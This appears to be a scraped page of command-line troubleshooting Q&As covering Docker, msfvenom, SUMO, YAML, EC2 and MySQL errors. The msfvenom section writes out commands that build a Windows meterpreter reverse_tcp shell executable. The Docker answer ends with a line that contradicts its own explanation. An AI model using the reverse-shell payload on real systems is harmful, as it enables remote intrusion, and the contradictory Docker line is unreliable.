What is mean a valid name as a DNS name component? - image

I write command :
docker stack deploy --compose-file=docker-compose.yml testlogin/test and get this error - Error response from daemon: rpc error: code = 3 desc = name must be valid as a DNS name component
What name is considered valid?

As the error message indicates, the name of the stack is invalid. This is likely due to the / in the name.

The stack name may contain spaces or other special characters.

Related

Msfvenom does not produce required payload

I am trying to create a windows payload with msfvenom but it is not working properly:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4444 -f exe payload.exe
here is the error that I am getting
CommandLineToArgvWapr_initialize0123456789.0.0.0.0bogus %pI64dNo host data of that type was foundHost not foundGraceful shutdown in progressWSAStartup not yet calledWinsock version out of rangeNetwork system is unavailableToo many levels of remote in pathStale NFS file handleDisc quota exceededToo many usersToo many processesDirectory not emptyNo route to hostHost is downFile name too longToo many levels of symbolic linksConnection refusedConnection timed outToo many references, can't spliceCan't send after socket shutdownSocket is not connectedSocket is already connectedNo buffer space availableConnection reset by peerSoftware caused connection abortNet connection resetNetwork is unreachableNetwork is downCan't assign requested addressAddress already in useAddress family not supportedProtocol family not supportedOperation not supported on socketSocket type not supportedProtocol not supportedBad protocol optionProtocol wrong type for socketMessage too longDestination address requiredSocket operation on non-socketOperation already in progressOperation now in progressOperation would blockToo many open socketsInvalid argumentBad addressPermission deniedBad file numberInterrupted system callAPR does not understand this error codeError string not specified yetpasswords do not matchThis function has not been implemented on this platformThere is no error, this value signifies an initialized error codeShared memory is implemented using a key systemShared memory is implemented using filesShared memory is implemented anonymouslyCould not find specified socket in poll list.End of file foundMissing parameter for the specified command line optionBad character specified on command linePartial results are valid but processing is incompleteThe timeout specified has expiredThe specified child process is not done executingThe specified child process is done executingThe specified thread is not detachedThe specified thread is detachedYour code just forked, and you are currently executing in the parent processYour code just forked, and you are currently executing in the child processInternal errorThe process is not recognized.The given path contained wildcard charactersThe given path is misformatted or contained invalid charactersThe given path was above the root pathThe given path is incompleteThe given path is relativeThe given path is absoluteThe specified network mask is invalid.The specified IP address is invalid.DSO load failedNo shared memory is currently availableNo thread key structure was provided and one was required.No thread was provided and one was required.No socket was provided and one was required.No poll structure was provided and one was required.No lock was provided and one was required.No directory was provided and one was required.No time was provided and one was required.No process was provided and one was required.An invalid socket was returnedAn invalid date has been providedA new pool could not be created.Unrecognized Win32 error code %d\\?\UNC\\\?\CancelIoGetCompressedFileSizeAGetCompressedFileSizeWZwQueryInformationFileGe tSecurityInfoGetNamedSecurityInfoAGetNamedSecurityInfoWUNC \GetEffectiveRightsFromAclW��������ntdll.dllshell32ws2_32mswsockadvapi32kernel32▒�0� H`Phh4VS_VERSION_INFO���?�StringFileInfo�040904b00
I think its because you didn't specify the output argument. Try using the "-o" or the ">" argument.
Eg.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe > out.exe
OR
msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f exe -o out.exe

“ error: "The parameter 'map.net.xml' is not allowed in this context" , when I want to create " .poly.xml" file” in sumo

I have a question about the polyconvert while I was importing a map
from Openstreetmap.
I successfully completed the netconvert commnad and try to get a map.poly
After I execute command:
polyconvert --net-file map.net.xml --osm-files map.osm
--type-file typemap.xml -o map.poly.xml
after that show these errors:
Error: The parameter 'map.net.xml' is not allowed in this context.
Switch or parameter name expected.
Error: Could not parse commandline options. Quitting (on error).
please help me solve this problem.
thanks

Error with YAML deep nesting

I wanted to create a config file in YAML that stores a few translations. To encapsulate everything, I began to nest the options.
While parsing the file, I see the following error:
Failed to read data from customize.yaml\customize.yaml: yaml: line 30: mapping values are not allow
ed in this context
The parser refers to the following lines:
contact:
title: Contact
form:
name: Name
error: Please enter your name.
email: Email
error: Please enter your email address.
phone: Phone
error: Please enter your phone number.
message: Message
error: Please enter a message.
send: Send
If you want the value as well as the error messages to "belong" to the key, you need to make a list of two items
name:
- Name
- error: Please enter your name.
or as another mapping with two items:
name:
value: Name
error: Please enter your name.

Error in registering EC2 Instance-backed store

In trying to register an ami on Amazon EC2 with the following command:
ec2-register -n my-ami-prefix --cert /mnt/cert-aaa.pem --private-key /mnt/pk-bbb.pem mys3bucke/my-ami-prefix.manifest.xml
I get the following error:
Client.InvalidManifest: Invalid block device mapping: Invalid virtual name 'ebs5'
The mappings generated in the manifest are as follows:
<mapping><virtual>ami</virtual><device>sda1</device></mapping>
<mapping><virtual>ebs1</virtual><device>/dev/sdh</device></mapping>
<mapping><virtual>ebs5</virtual><device>/dev/sdi</device></mapping>
<mapping><virtual>ephemeral0</virtual><device>sdb</device></mapping>
<mapping><virtual>ephemeral1</virtual><device>sdc</device></mapping>
<mapping><virtual>ephemeral2</virtual><device>sdd</device></mapping>
<mapping><virtual>ephemeral3</virtual><device>sde</device></mapping>
<mapping><virtual>root</virtual><device>/dev/sda1</device></mapping>
According to the help text of the ec2-bundle-vol, the following are valid mapping names;
"ami": denotes the root file system device, as seen by the instance.
"root": denotes the root file system device, as seen by the kernel.
"swap": denotes the swap device, if present.
"ephemeralN": denotes Nth ephemeral store; N is a non-negative integer.
So, why is it creating "ebs" names for some of the mappings? Why is it giving these two devices the "ebs" name instead of the "ephemeral" name like the rest? When I run an "fdisk -l" all the device except the last have the same size. Can I go into the manifest and rename them to "ephemeral14" and "ephemeral15"?
I added this to the bundle command, and at least it registered the AMI:
-B ami=sda1,root=/dev/sda1,ephemeral0=sdb,ephemeral1=sdc,ephemeral2=sdd,ephemeral3=sde,ephemeral4=sdh,ephemeral5=sdi

got error 22 from storage engine mysql

mysqldump: Error: 'got error 22 from storage engine' when trying to dump
tablespaces
mysqldump: Got error: 23: Out of resources when opening file '.\database\table.MYD' (Errcode: 24) when using LOCK TABLES
i got this error when trying to make a dump in any database that I select , looks like that database is corrupted , is possible repair that ?
You seem to have reached the maximum number of open files. This limit is either MySQL's or the system's.
increase the value for the open_files_limit in your MySQL configuration file (this directive does not exist in a default installation, so you might need to create it in the [mysqld] section)
increase the limit at system level (but I am not sure this applies to Windows)
Here are some reasons for this error:
Type “source path-to-SQL-file“. BUT, you must follow these rules:
Use the full source command, not the . shortcut.
Have no spaces in your path. I copied mine to a root of a drive. Note that spaces in the file name is OK, just not the path.
Do not quote the file name, even if it has spaces. This gave error 22.
Use forward slashes in the path, e.g., C:/path/to/filename.sql. Otherwise you’ll get error 2.
Do not end with a semicolon.
Please check your read write access to the drive where you have stored your mySQL database.
error 22 occurred usually when you have no write access to that drive.

Resources